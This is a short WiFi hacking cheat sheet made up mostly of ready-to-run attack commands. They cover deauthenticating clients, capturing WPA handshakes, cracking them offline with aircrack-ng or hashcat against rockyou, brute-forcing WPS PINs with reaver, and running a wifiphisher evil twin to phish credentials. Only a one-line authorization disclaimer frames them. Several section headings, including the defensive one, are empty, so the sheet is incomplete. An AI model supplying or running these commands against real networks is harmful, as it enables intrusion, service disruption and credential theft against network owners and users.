WiFi Hacking Cheat Sheet

Only use on YOUR OWN networks or explicitly authorized targets. Requires a monitor-mode-capable adapter (chipset e.g. Atheros/Ralink/Realtek, or ALFA) and airmon-ng.

Pre-checks

Recon — find targets

WEP

WPA/WPA2 (Handshake attack)

  1. Capture handshake:
    sudo aireplay-ng -0 5 -a <bssid> wlan0mon        # deauth clients to force reconnect
    sudo airodump-ng -c <ch> --bssid <bssid> -w cap wlan0mon   # capture 4-way handshake
    
  2. Confirm handshake present: watch “WPA handshake: AA:BB:…” in airodump output
  3. Crack (offline):
    aircrack-ng -w /usr/share/wordlists/rockyou.txt cap-01.cap
    # or hashcat
    aircrack-ng cap-01.cap -J out.hccapx        # convert, then
    hashcat -m 22000 out.hccapx /wordlists/rockyou.txt
    

WPA3 / PMKID

WPS (PIN attack, many routers)

sudo reaver -i wlan0mon -b <bssid> -c <ch> -vvv       # PIN brute (slow, router locks)
sudo wash -i wlan0mon                                   # list WPS-enabled APs

Evil Twin / Rogue AP + MITM

# hostapd-mana / wifiphisher for credential phishing; aircrack-ng suite for deauth
# common demo: set up own AP, clone target SSID, clients connect, capture creds
sudo wifiphisher -aI wlan0mon -eE "TargetSSID"

Monitoring / Other tools

Detection & Prevention Side (defensive)

Rules